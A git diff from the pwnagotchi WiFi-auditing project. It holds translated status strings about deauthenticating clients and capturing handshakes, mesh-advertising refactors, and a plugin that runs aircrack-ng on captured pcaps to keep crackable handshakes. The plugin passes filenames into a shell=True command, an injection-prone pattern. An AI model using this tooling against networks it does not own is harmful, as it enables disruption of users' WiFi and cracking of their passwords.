msgstr "今日は私の人生で最高の日です!"
msgid "Shitty day :/"
msgstr ""
msgid "I'm extremely bored ..."
msgstr "とても退屈です。"
msgid "I'm very sad ..."
msgstr "とても悲しいです。。。"
msgid "I'm sad"
msgstr "悲しいです。"
msgid "I'm living the life!"
msgstr "人生を生きている!"
msgid "I pwn therefore I am."
msgstr ""
msgid "So many networks!!!"
msgstr "たくさんネットワークがある!!!"
msgid "I'm having so much fun!"
msgstr "とても楽しんでいます!"
msgid "My crime is that of curiosity ..."
msgstr ""
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
msgstr "こんにちは{name}!初めまして。{name}"
#, python-brace-format
msgid "Unit {name} is nearby! {name}"
msgstr ""
#, python-brace-format
msgid "Uhm ... goodbye {name}"
msgstr "ええと。。。さようなら{name}"
#, python-brace-format
msgid "{name} is gone ..."
msgstr "{name}がなくなった。。。"
#, python-brace-format
msgid "Whoops ... {name} is gone."
msgstr "おっと。。。{name}がなくなった。"
#, python-brace-format
msgid "{name} missed!"
msgstr "{name}逃した!"
msgid "Missed!"
msgstr "逃した!"
msgid "Nobody wants to play with me ..."
msgstr "誰も僕と一緒にプレーしたくない。。。"
msgid "I feel so alone ..."
msgstr "僕は孤独を感じる。。。"
msgid "Where's everybody?!"
msgstr "みんなどこ?!"
#, python-brace-format
msgid "Napping for {secs}s ..."
msgstr "{secs}寝ている。"
msgid "Zzzzz"
msgstr "すや〜"
#, python-brace-format
msgid "ZzzZzzz ({secs}s)"
msgstr "すやすや〜 ({secs})"
msgid "Good night."
msgstr "お休みなさい。"
msgid "Zzz"
msgstr "す〜"
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "{secs}を待っている。。。"
#, python-brace-format
msgid "Looking around ({secs}s)"
msgstr "{secs}を探している。"
#, python-brace-format
msgid "Hey {what} let's be friends!"
msgstr "ちょっと{what}友だちになりましょう!"
#, python-brace-format
msgid "Associating to {what}"
msgstr ""
#, python-brace-format
msgid "Yo {what}!"
msgstr "よー{what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"
msgstr ""
#, python-brace-format
msgid "Deauthenticating {mac}"
msgstr ""
#, python-brace-format
msgid "Kickbanning {mac}!"
msgstr ""
#, python-brace-format
msgid "Cool, we got {num} new handshake{plural}!"
msgstr "よし、{num}新しいハンドシェイクがある!"
msgid "Ops, something went wrong ... Rebooting ..."
msgstr "おっと!何かが間違っていた。。。リブートしている。。。"
#, python-brace-format
msgid "Kicked {num} stations\n"
msgstr ""
#, python-brace-format
msgid "Made {num} new friends\n"
msgstr "{num}人の新しい友達を作りました\n"
#, python-brace-format
msgid "Got {num} handshakes\n"
msgstr "{num}ハンドシェイクがある。\n"
msgid "Met 1 peer"
msgstr "1人の仲間を会いました。"
#, python-brace-format
msgid "Met {num} peers"
msgstr "{num}人の仲間を会いました。"
#, python-brace-format
msgid ""
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgstr ""
msgid "hours"
msgstr "時間"
msgid "minutes"
msgstr "分"
msgid "seconds"
msgstr "秒"
msgid "hour"
msgstr "時間"
msgid "minute"
msgstr "分"
msgid "second"
msgstr "秒"

Binary file not shown.

View File

@@ -0,0 +1,209 @@
# pwnagotchi Brazilian Portuguese translation file.
# Copyright (C) 2019 Cassiano Aquino
# This file is distributed under the same license as the pwnagotchi package.
# Cassiano Aquino <cassianoaquino@me.com>, 2019.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-05 14:10+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: Cassiano Aquino <cassianoaquino@me.com>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: Brazilian Portuguese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
msgid "ZzzzZZzzzzZzzz"
msgstr "ZzzzZZzzzzZzzz"
msgid "Hi, I'm Pwnagotchi! Starting ..."
msgstr "Oi! Eu sou o Pwnagotchi! Iniciando ..."
msgid "New day, new hunt, new pwns!"
msgstr "Novo dia, Nova caça, Novos pwns!"
msgid "Hack the Planet!"
msgstr "Hackeie o Planeta!"
msgid "AI ready."
msgstr "AI pronta."
msgid "The neural network is ready."
msgstr "A rede neural está pronta."
#, python-brace-format
msgid "Hey, channel {channel} is free! Your AP will say thanks."
msgstr "Ei, o canal {channel} está livre! Seu AP ira agradecer."
msgid "I'm bored ..."
msgstr "Estou entediado ..."
msgid "Let's go for a walk!"
msgstr "Vamos dar uma caminhada!"
msgid "This is the best day of my life!"
msgstr "Este e o melhor dia da minha vida!"
msgid "Shitty day :/"
msgstr "Dia de merda :/"
msgid "I'm extremely bored ..."
msgstr "Estou extremamente entediado ..."
msgid "I'm very sad ..."
msgstr "Estou muito triste ..."
msgid "I'm sad"
msgstr "Estou triste"
msgid "I'm living the life!"
msgstr "Estou aproveitando a vida!"
msgid "I pwn therefore I am."
msgstr "pwn, logo existo."
msgid "So many networks!!!"
msgstr "Quantas redes!!!"
msgid "I'm having so much fun!"
msgstr "Estou me divertindo muito!"
msgid "My crime is that of curiosity ..."
msgstr "Meu crime é ser curioso ..."
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
msgstr "Olá {name}! Prazer em conhecê-lo. {name}"
#, python-brace-format
msgid "Unit {name} is nearby! {name}"
msgstr "Unidade {name} está próxima! {name}"
#, python-brace-format
msgid "Uhm ... goodbye {name}"
msgstr "Uhm ... até logo {name}"
#, python-brace-format
msgid "{name} is gone ..."
msgstr "{name} desapareceu ..."
#, python-brace-format
msgid "Whoops ... {name} is gone."
msgstr "Oops ... {name} desapareceu."
#, python-brace-format
msgid "{name} missed!"
msgstr "{name} perdido!"
msgid "Missed!"
msgstr "Perdido!"
msgid "Nobody wants to play with me ..."
msgstr "Ninguém quer brincar comigo ..."
msgid "I feel so alone ..."
msgstr "Estou tão sozinho ..."
msgid "Where's everybody?!"
msgstr "Aonde está todo mundo?!"
#, python-brace-format
msgid "Napping for {secs}s ..."
msgstr "Cochilando por {secs}s ..."
msgid "Zzzzz"
msgstr "Zzzzz"
#, python-brace-format
msgid "ZzzZzzz ({secs}s)"
msgstr "ZzzZzzz ({secs}s)"
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "Aguardando por {secs}s ..."
#, python-brace-format
msgid "Looking around ({secs}s)"
msgstr "Olhando ao redor ({secs}s)"
#, python-brace-format
msgid "Hey {what} let's be friends!"
msgstr "Ei {what} vamos ser amigos!"
#, python-brace-format
msgid "Associating to {what}"
msgstr "Associando com {what}"
#, python-brace-format
msgid "Yo {what}!"
msgstr "Oi {what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"
msgstr "Acabei de decidir que {mac} não precisa de WiFi!"
#, python-brace-format
msgid "Deauthenticating {mac}"
msgstr "De-autenticando {mac}"
#, python-brace-format
msgid "Kickbanning {mac}!"
msgstr "Kickbanning {mac}"
#, python-brace-format
msgid "Cool, we got {num} new handshake{plural}!"
msgstr "Legal, nos capturamos {num} handshake{plural} novo{plural}!"
msgid "Ops, something went wrong ... Rebooting ..."
msgstr "Ops, algo falhou ... Reiniciando ..."
#, python-brace-format
msgid "Kicked {num} stations\n"
msgstr "Kickei {num} estações\n"
#, python-brace-format
msgid "Made {num} new friends\n"
msgstr "Fiz {num} novos amigos\n"
#, python-brace-format
msgid "Got {num} handshakes\n"
msgstr "Peguei {num} handshakes\n"
msgid "Met 1 peer"
msgstr "Conheci 1 peer"
#, python-brace-format
msgid "Met {num} peers"
msgstr "Conheci {num} peers"
#, python-brace-format
msgid ""
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgstr ""
"Eu estou pwning fazem {duration} e kickei {deauthed} clientes! Eu também conheci "
"{associated} novos amigos e comi {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgid "hours"
msgstr "horas"
msgid "minutes"
msgstr "minutos"
msgid "seconds"
msgstr "segundos"
msgid "hour"
msgstr "hora"
msgid "minute"
msgstr "minuto"
msgid "second"
msgstr "segundo"

Binary file not shown.

View File

@@ -0,0 +1,214 @@
# pwnagotchi Portuguese (european) translation file.
# Copyright (C) 2019 David Sopas
# This file is distributed under the same license as the PACKAGE package.
# David Sopas <email@aleatorio.xyz>, 2019.
#
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-09 17:42+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: David Sopas <email@aleatorio.xyz>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: Portuguese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=CHARSET\n"
"Content-Transfer-Encoding: 8bit\n"
msgid "ZzzzZZzzzzZzzz"
msgstr "ZzzzZZzzzzZzzz"
msgid "Hi, I'm Pwnagotchi! Starting ..."
msgstr "Olá, eu sou o Pwnagotchi! A iniciar ..."
msgid "New day, new hunt, new pwns!"
msgstr "Novo dia, nova caçada, novos pwns!"
msgid "Hack the Planet!"
msgstr "Hacka o Planeta!"
msgid "AI ready."
msgstr "IA pronta."
msgid "The neural network is ready."
msgstr "A rede neural está pronta."
#, python-brace-format
msgid "Hey, channel {channel} is free! Your AP will say thanks."
msgstr "Hey, o canal {channel} está livre! O teu AP irá agradecer."
msgid "I'm bored ..."
msgstr "Estou aborrecido ..."
msgid "Let's go for a walk!"
msgstr "Vamos fazer uma caminhada!"
msgid "This is the best day of my life!"
msgstr "Este é o melhor dia da minha vida!"
msgid "Shitty day :/"
msgstr "Que merda de dia :/"
msgid "I'm extremely bored ..."
msgstr "Estou muito aborrecido ..."
msgid "I'm very sad ..."
msgstr "Estou muito triste ..."
msgid "I'm sad"
msgstr "Estou triste"
msgid "I'm living the life!"
msgstr "Estou aproveitar a vida!"
msgid "I pwn therefore I am."
msgstr "Eu pwn, logo existo."
msgid "So many networks!!!"
msgstr "Tantas redes!!!"
msgid "I'm having so much fun!"
msgstr "Estou a divertir-me tanto!"
msgid "My crime is that of curiosity ..."
msgstr "O meu crime é ser curioso ..."
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
msgstr "Olá {name}! Prazer em conhecer-te. {name}"
#, python-brace-format
msgid "Unit {name} is nearby! {name}"
msgstr "A unidade {name} está perto! {name}"
#, python-brace-format
msgid "Uhm ... goodbye {name}"
msgstr "Uhm ... adeus {name}"
#, python-brace-format
msgid "{name} is gone ..."
msgstr "{name} desapareceu ..."
#, python-brace-format
msgid "Whoops ... {name} is gone."
msgstr "Ups ... {name} desaparecey."
#, python-brace-format
msgid "{name} missed!"
msgstr "{name} perdido!"
msgid "Missed!"
msgstr "Perdido!"
msgid "Nobody wants to play with me ..."
msgstr "Ninguém quer brincar comigo ..."
msgid "I feel so alone ..."
msgstr "Sinto-me tão só ..."
msgid "Where's everybody?!"
msgstr "Onde estão todos?"
#, python-brace-format
msgid "Napping for {secs}s ..."
msgstr "A fazer uma sesta durante {secs}s ..."
msgid "Zzzzz"
msgstr "Zzzzz"
#, python-brace-format
msgid "ZzzZzzz ({secs}s)"
msgstr "ZzzZzzz ({secs}s)"
msgid "Good night."
msgstr "Boa noite."
msgid "Zzz"
msgstr "Zzz"
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr "A aguardar durante {secs}s ..."
#, python-brace-format
msgid "Looking around ({secs}s)"
msgstr "A dar uma olhada ({secs}s)"
#, python-brace-format
msgid "Hey {what} let's be friends!"
msgstr "Hey {what} vamos ser amigos!"
#, python-brace-format
msgid "Associating to {what}"
msgstr "A associar a {what}"
#, python-brace-format
msgid "Yo {what}!"
msgstr "Yo {what}!"
#, python-brace-format
msgid "Just decided that {mac} needs no WiFi!"
msgstr "Decidi que o {mac} não precisa de WiFi!"
#, python-brace-format
msgid "Deauthenticating {mac}"
msgstr "A fazer deauth {mac}"
#, python-brace-format
msgid "Kickbanning {mac}!"
msgstr "A chutar {mac}!"
#, python-brace-format
msgid "Cool, we got {num} new handshake{plural}!"
msgstr "Porreiro, temos {num} novo handshake{plural}!"
msgid "Ops, something went wrong ... Rebooting ..."
msgstr "Ups, algo correu mal ... A reiniciar ..."
#, python-brace-format
msgid "Kicked {num} stations\n"
msgstr "Chutei {num} estações\n"
#, python-brace-format
msgid "Made {num} new friends\n"
msgstr "Fiz {num} novos amigos\n"
#, python-brace-format
msgid "Got {num} handshakes\n"
msgstr "Obti {num} handshakes\n"
msgid "Met 1 peer"
msgstr "Conheci 1 peer"
#, python-brace-format
msgid "Met {num} peers"
msgstr "Conheci {num} peers"
#, python-brace-format
msgid ""
"I've been pwning for {duration} and kicked {deauthed} clients! I've also met "
"{associated} new friends and ate {handshakes} handshakes! #pwnagotchi "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgstr "Tenho estado a pwnar durante {duration} e chutei {deauthed} clientes! Também conheci "
"{associated} novos amigos e comi {handshakes} handshakes! #pwnagotchu "
"#pwnlog #pwnlife #hacktheplanet #skynet"
msgid "hours"
msgstr "horas"
msgid "minutes"
msgstr "minutos"
msgid "seconds"
msgstr "segundos"
msgid "hour"
msgstr "hora"
msgid "minute"
msgstr "minuto"
msgid "second"
msgstr "segundo"

View File

@@ -29,10 +29,10 @@ msgid "New day, new hunt, new pwns!"
msgstr "Новый день, новая охота, новые взломы!"
msgid "Hack the Planet!"
msgstr "Взломаем всю планету!"
msgstr "Хак зе планет!"
msgid "AI ready."
msgstr "Искусственный интеллект готов."
msgstr "AI готов."
msgid "The neural network is ready."
msgstr "Нейронная сеть готова."
@@ -48,7 +48,7 @@ msgid "Let's go for a walk!"
msgstr "Пойдем прогуляемся!"
msgid "This is the best day of my life!"
msgstr "Это лучший день в моей жизни!"
msgstr "Лучший день в моей жизни!"
msgid "Shitty day :/"
msgstr "Дерьмовый день :/"
@@ -63,19 +63,19 @@ msgid "I'm sad"
msgstr "Мне грустно"
msgid "I'm living the life!"
msgstr "Я живу своей жизнью!"
msgstr "Угараю по полной!"
msgid "I pwn therefore I am."
msgstr "Я взламываю, поэтому я существую."
msgid "So many networks!!!"
msgstr "Так, много сетей!!!"
msgstr "Так много сетей!!!"
msgid "I'm having so much fun!"
msgstr "Мне так весело!"
msgid "My crime is that of curiosity ..."
msgstr "Моё преступление - это любопытство …"
msgstr "Моe преступление - это любопытство …"
#, python-brace-format
msgid "Hello {name}! Nice to meet you. {name}"
@@ -105,7 +105,7 @@ msgid "Missed!"
msgstr "Промахнулся!"
msgid "Nobody wants to play with me ..."
msgstr "Никто не хочет играть со мной "
msgstr "Никто не хочет со мной играть ..."
msgid "I feel so alone ..."
msgstr "Мне так одиноко …"

View File

@@ -8,7 +8,7 @@ msgid ""
msgstr ""
"Project-Id-Version: PACKAGE VERSION\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-10-05 14:10+0200\n"
"POT-Creation-Date: 2019-10-09 17:42+0200\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
@@ -122,6 +122,12 @@ msgstr ""
msgid "ZzzZzzz ({secs}s)"
msgstr ""
msgid "Good night."
msgstr ""
msgid "Zzz"
msgstr ""
#, python-brace-format
msgid "Waiting for {secs}s ..."
msgstr ""

View File

@@ -129,10 +129,15 @@ class LastSession(object):
if m:
name, pubkey, rssi, sid, pwnd_tot, uptime = m[0]
if pubkey not in cache:
self.last_peer = Peer(sid, 1, int(rssi),
{'name': name,
'identity': pubkey,
'pwnd_tot': int(pwnd_tot)})
self.last_peer = Peer({
'session_id': sid,
'channel': 1,
'rssi': int(rssi),
'identity': pubkey,
'advertisement':{
'name': name,
'pwnd_tot': int(pwnd_tot)
}})
self.peers += 1
cache[pubkey] = self.last_peer
else:

View File

@@ -1,4 +0,0 @@
import os
def new_session_id():
return ':'.join(['%02x' % b for b in os.urandom(6)])

View File

@@ -1,182 +0,0 @@
import time
import json
import _thread
import threading
import logging
from scapy.all import Dot11, Dot11FCS, Dot11Elt, RadioTap, sendp, sniff
import pwnagotchi.ui.faces as faces
import pwnagotchi.mesh.wifi as wifi
from pwnagotchi.mesh import new_session_id
from pwnagotchi.mesh.peer import Peer
def _dummy_peer_cb(peer):
pass
class Advertiser(object):
MAX_STALE_TIME = 300
def __init__(self, iface, name, version, identity, period=0.3, data={}):
self._iface = iface
self._period = period
self._running = False
self._stopped = threading.Event()
self._peers_lock = threading.Lock()
self._adv_lock = threading.Lock()
self._new_peer_cb = _dummy_peer_cb
self._lost_peer_cb = _dummy_peer_cb
self._peers = {}
self._frame = None
self._me = Peer(new_session_id(), 0, 0, {
'name': name,
'version': version,
'identity': identity,
'face': faces.FRIEND,
'pwnd_run': 0,
'pwnd_tot': 0,
'uptime': 0,
'epoch': 0,
'data': data
})
self.update()
def update(self, values={}):
with self._adv_lock:
for field, value in values.items():
self._me.adv[field] = value
self._frame = wifi.encapsulate(payload=json.dumps(self._me.adv), addr_from=self._me.session_id)
def on_peer(self, new_cb, lost_cb):
self._new_peer_cb = new_cb
self._lost_peer_cb = lost_cb
def on_face_change(self, old, new):
self.update({'face': new})
def start(self):
self._running = True
_thread.start_new_thread(self._sender, ())
_thread.start_new_thread(self._listener, ())
_thread.start_new_thread(self._pruner, ())
def num_peers(self):
with self._peers_lock:
return len(self._peers)
def peers(self):
with self._peers_lock:
return list(self._peers.values())
def closest_peer(self):
closest = None
with self._peers_lock:
for ident, peer in self._peers.items():
if closest is None or peer.is_closer(closest):
closest = peer
return closest
def stop(self):
self._running = False
self._stopped.set()
def _sender(self):
logging.info("started advertiser thread (period:%s sid:%s) ..." % (str(self._period), self._me.session_id))
while self._running:
try:
sendp(self._frame, iface=self._iface, verbose=False, count=1, inter=self._period)
except OSError as ose:
logging.warning("non critical issue while sending advertising packet: %s" % ose)
except Exception as e:
logging.exception("error")
time.sleep(self._period)
def _on_advertisement(self, src_session_id, channel, rssi, adv):
ident = adv['identity']
with self._peers_lock:
if ident not in self._peers:
peer = Peer(src_session_id, channel, rssi, adv)
logging.info("detected unit %s (v%s) on channel %d (%s dBm) [sid:%s pwnd_tot:%d uptime:%d]" % ( \
peer.full_name(),
peer.version(),
channel,
rssi,
src_session_id,
peer.pwnd_total(),
peer.uptime()))
self._peers[ident] = peer
self._new_peer_cb(peer)
else:
self._peers[ident].update(src_session_id, channel, rssi, adv)
def _parse_identity(self, radio, dot11, dot11elt):
payload = b''
while dot11elt:
payload += dot11elt.info
dot11elt = dot11elt.payload.getlayer(Dot11Elt)
if payload != b'':
adv = json.loads(payload)
self._on_advertisement( \
dot11.addr3,
wifi.freq_to_channel(radio.Channel),
radio.dBm_AntSignal,
adv)
def _is_broadcasted_advertisement(self, dot11):
# dst bcast + protocol signature + not ours
return dot11 is not None and \
dot11.addr1 == wifi.BroadcastAddress and \
dot11.addr2 == wifi.SignatureAddress and \
dot11.addr3 != self._me.session_id
def _is_frame_for_us(self, dot11):
# dst is us + protocol signature + not ours (why would we send a frame to ourself anyway?)
return dot11 is not None and \
dot11.addr1 == self._me.session_id and \
dot11.addr2 == wifi.SignatureAddress and \
dot11.addr3 != self._me.session_id
def _on_packet(self, p):
# https://github.com/secdev/scapy/issues/1590
if p.haslayer(Dot11):
dot11 = p[Dot11]
elif p.haslayer(Dot11FCS):
dot11 = p[Dot11FCS]
else:
dot11 = None
if self._is_broadcasted_advertisement(dot11):
try:
dot11elt = p.getlayer(Dot11Elt)
if dot11elt.ID == wifi.Dot11ElemID_Whisper:
self._parse_identity(p[RadioTap], dot11, dot11elt)
else:
raise Exception("unknown frame id %d" % dot11elt.ID)
except Exception as e:
logging.exception("error decoding packet from %s" % dot11.addr3)
def _listener(self):
# logging.info("started advertisements listener ...")
expr = "type mgt subtype beacon and ether src %s" % wifi.SignatureAddress
sniff(iface=self._iface, filter=expr, prn=self._on_packet, store=0, stop_filter=lambda x: self._stopped.isSet())
def _pruner(self):
while self._running:
time.sleep(10)
with self._peers_lock:
stale = []
for ident, peer in self._peers.items():
inactive_for = peer.inactive_for()
if inactive_for >= Advertiser.MAX_STALE_TIME:
logging.info("peer %s lost (inactive for %ds)" % (peer.full_name(), inactive_for))
self._lost_peer_cb(peer)
stale.append(ident)
for ident in stale:
del self._peers[ident]

View File

@@ -1,32 +1,28 @@
import time
import logging
import pwnagotchi.mesh.wifi as wifi
import pwnagotchi.ui.faces as faces
class Peer(object):
def __init__(self, sid, channel, rssi, adv):
def __init__(self, obj):
self.first_seen = time.time()
self.last_seen = self.first_seen
self.session_id = sid
self.last_channel = channel
self.presence = [0] * wifi.NumChannels
self.adv = adv
self.rssi = rssi
self.presence[channel - 1] = 1
self.session_id = obj['session_id']
self.last_channel = obj['channel']
self.rssi = obj['rssi']
self.adv = obj['advertisement']
def update(self, sid, channel, rssi, adv):
if self.name() != adv['name']:
logging.info("peer %s changed name: %s -> %s" % (self.full_name(), self.name(), adv['name']))
def update(self, new):
if self.name() != new.name():
logging.info("peer %s changed name: %s -> %s" % (self.full_name(), self.name(), new.name()))
if self.session_id != sid:
logging.info("peer %s changed session id: %s -> %s" % (self.full_name(), self.session_id, sid))
if self.session_id != new.session_id:
logging.info("peer %s changed session id: %s -> %s" % (self.full_name(), self.session_id, new.session_id))
self.presence[channel - 1] += 1
self.adv = adv
self.rssi = rssi
self.session_id = sid
self.adv = new.adv
self.rssi = new.rssi
self.session_id = new.session_id
self.last_seen = time.time()
def inactive_for(self):

View File

@@ -1,8 +1,13 @@
import _thread
import logging
import time
import pwnagotchi
import pwnagotchi.utils as utils
import pwnagotchi.ui.faces as faces
import pwnagotchi.plugins as plugins
import pwnagotchi.grid as grid
from pwnagotchi.mesh.peer import Peer
class AsyncAdvertiser(object):
@@ -10,38 +15,81 @@ class AsyncAdvertiser(object):
self._config = config
self._view = view
self._keypair = keypair
self._advertiser = None
self._advertisement = {
'name': pwnagotchi.name(),
'version': pwnagotchi.version,
'identity': self._keypair.fingerprint,
'face': faces.FRIEND,
'pwnd_run': 0,
'pwnd_tot': 0,
'uptime': 0,
'epoch': 0,
'policy': self._config['personality']
}
self._peers = {}
self._closest_peer = None
def keypair(self):
return self._keypair
def fingerprint(self):
return self._keypair.fingerprint
def _update_advertisement(self, s):
self._advertisement['pwnd_run'] = len(self._handshakes)
self._advertisement['pwnd_tot'] = utils.total_unique_handshakes(self._config['bettercap']['handshakes'])
self._advertisement['uptime'] = pwnagotchi.uptime()
self._advertisement['epoch'] = self._epoch.epoch
grid.set_advertisement_data(self._advertisement)
def start_advertising(self):
_thread.start_new_thread(self._adv_worker, ())
def _adv_worker(self):
# this will take some time due to scapy being slow to be imported ...
from pwnagotchi.mesh.advertise import Advertiser
self._advertiser = Advertiser(
self._config['main']['iface'],
pwnagotchi.name(),
pwnagotchi.version,
self._keypair.fingerprint,
period=0.3,
data=self._config['personality'])
self._advertiser.on_peer(self._on_new_unit, self._on_lost_unit)
if self._config['personality']['advertise']:
self._advertiser.start()
self._view.on_state_change('face', self._advertiser.on_face_change)
_thread.start_new_thread(self._adv_poller, ())
grid.set_advertisement_data(self._advertisement)
grid.advertise(True)
self._view.on_state_change('face', self._on_face_change)
else:
logging.warning("advertising is disabled")
def _on_new_unit(self, peer):
self._view.on_new_peer(peer)
plugins.on('peer_detected', self, peer)
def _on_face_change(self, old, new):
self._advertisement['face'] = new
grid.set_advertisement_data(self._advertisement)
def _on_lost_unit(self, peer):
self._view.on_lost_peer(peer)
plugins.on('peer_lost', self, peer)
def _adv_poller(self):
while True:
logging.debug("polling pwngrid-peer for peers ...")
try:
grid_peers = grid.peers()
new_peers = {}
self._closest_peer = None
for obj in grid_peers:
peer = Peer(obj)
new_peers[peer.identity()] = peer
if self._closest_peer is None:
self._closest_peer = peer
# check who's gone
to_delete = []
for ident, peer in self._peers.items():
if ident not in new_peers:
self._view.on_lost_peer(peer)
plugins.on('peer_lost', self, peer)
to_delete.append(ident)
for ident in to_delete:
del self._peers[ident]
for ident, peer in new_peers.items():
# check who's new
if ident not in self._peers:
self._peers[ident] = peer
self._view.on_new_peer(peer)
plugins.on('peer_detected', self, peer)
# update the rest
else:
self._peers[ident].update(peer)
except Exception as e:
logging.exception("error while polling pwngrid-peer")
time.sleep(1)

View File

@@ -1,8 +1,6 @@
SignatureAddress = 'de:ad:be:ef:de:ad'
BroadcastAddress = 'ff:ff:ff:ff:ff:ff'
Dot11ElemID_Whisper = 222
NumChannels = 140
def freq_to_channel(freq):
if freq <= 2472:
return int(((freq - 2412) / 5) + 1)
@@ -12,26 +10,3 @@ def freq_to_channel(freq):
return int(((freq - 5035) / 5) + 7)
else:
return 0
def encapsulate(payload, addr_from, addr_to=BroadcastAddress):
from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap
radio = RadioTap()
dot11 = Dot11(type=0, subtype=8, addr1=addr_to, addr2=SignatureAddress, addr3=addr_from)
beacon = Dot11Beacon(cap='ESS')
frame = radio / dot11 / beacon
data_size = len(payload)
data_left = data_size
data_off = 0
chunk_size = 255
while data_left > 0:
sz = min(chunk_size, data_left)
chunk = payload[data_off: data_off + sz]
frame /= Dot11Elt(ID=Dot11ElemID_Whisper, info=chunk, len=sz)
data_off += sz
data_left -= sz
return frame

View File

@@ -0,0 +1,57 @@
__author__ = 'pwnagotchi [at] rossmarks [dot] uk'
__version__ = '1.0.0'
__name__ = 'AircrackOnly'
__license__ = 'GPL3'
__description__ = 'confirm pcap contains handshake/PMKID or delete it'
'''
Aircrack-ng needed, to install:
> apt-get install aircrack-ng
'''
import logging
import subprocess
import string
import re
import os
OPTIONS = dict()
def on_loaded():
logging.info("cleancap plugin loaded")
def on_handshake(agent, filename, access_point, client_station):
display = agent._view
todelete = 0
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "1 handshake" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
if result:
logging.info("[AircrackOnly] contains handshake")
else:
todetele = 1
if todelete == 0:
result = subprocess.run(('/usr/bin/aircrack-ng '+ filename +' | grep "PMKID" | awk \'{print $2}\''),shell=True, stdout=subprocess.PIPE)
result = result.stdout.decode('utf-8').translate({ord(c) :None for c in string.whitespace})
if result:
logging.info("[AircrackOnly] contains PMKID")
else:
todetele = 1
if todelete == 1:
os.remove(filename)
set_text("uncrackable pcap")
display.update(force=True)
text_to_set = "";
def set_text(text):
global text_to_set
text_to_set = text
def on_ui_update(ui):
global text_to_set
if text_to_set:
ui.set('face', "(>.<)")
ui.set('status', text_to_set)
text_to_set = ""

View File

@@ -0,0 +1,495 @@
__author__ = '33197631+dadav@users.noreply.github.com'
__version__ = '1.0.0'
__name__ = 'bt-tether'
__license__ = 'GPL3'
__description__ = 'This makes the display reachable over bluetooth'
import os
import time
import re
import logging
import subprocess
import dbus
from pwnagotchi.ui.components import LabeledValue
from pwnagotchi.ui.view import BLACK
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.utils import StatusFile
READY = False
INTERVAL = StatusFile('/root/.bt-tether')
OPTIONS = dict()
class BTError(Exception):
"""
Custom bluetooth exception
"""
pass
class BTNap:
"""
This class creates a bluetooth connection to the specified bt-mac
see https://github.com/bablokb/pi-btnap/blob/master/files/usr/local/sbin/btnap.service.py
"""
IFACE_BASE = 'org.bluez'
IFACE_DEV = 'org.bluez.Device1'
IFACE_ADAPTER = 'org.bluez.Adapter1'
IFACE_PROPS = 'org.freedesktop.DBus.Properties'
def __init__(self, mac):
self._mac = mac
@staticmethod
def get_bus():
"""
Get systembus obj
"""
bus = getattr(BTNap.get_bus, 'cached_obj', None)
if not bus:
bus = BTNap.get_bus.cached_obj = dbus.SystemBus()
return bus
@staticmethod
def get_manager():
"""
Get manager obj
"""
manager = getattr(BTNap.get_manager, 'cached_obj', None)
if not manager:
manager = BTNap.get_manager.cached_obj = dbus.Interface(
BTNap.get_bus().get_object(BTNap.IFACE_BASE, '/'),
'org.freedesktop.DBus.ObjectManager' )
return manager
@staticmethod
def prop_get(obj, k, iface=None):
"""
Get a property of the obj
"""
if iface is None:
iface = obj.dbus_interface
return obj.Get(iface, k, dbus_interface=BTNap.IFACE_PROPS)
@staticmethod
def prop_set(obj, k, v, iface=None):
"""
Set a property of the obj
"""
if iface is None:
iface = obj.dbus_interface
return obj.Set(iface, k, v, dbus_interface=BTNap.IFACE_PROPS)
@staticmethod
def find_adapter(pattern=None):
"""
Find the bt adapter
"""
return BTNap.find_adapter_in_objects(BTNap.get_manager().GetManagedObjects(), pattern)
@staticmethod
def find_adapter_in_objects(objects, pattern=None):
"""
Finds the obj with a pattern
"""
bus, obj = BTNap.get_bus(), None
for path, ifaces in objects.items():
adapter = ifaces.get(BTNap.IFACE_ADAPTER)
if adapter is None:
continue
if not pattern or pattern == adapter['Address'] or path.endswith(pattern):
obj = bus.get_object(BTNap.IFACE_BASE, path)
yield dbus.Interface(obj, BTNap.IFACE_ADAPTER)
if obj is None:
raise BTError('Bluetooth adapter not found')
@staticmethod
def find_device(device_address, adapter_pattern=None):
"""
Finds the device
"""
return BTNap.find_device_in_objects(BTNap.get_manager().GetManagedObjects(),
device_address, adapter_pattern)
@staticmethod
def find_device_in_objects(objects, device_address, adapter_pattern=None):
"""
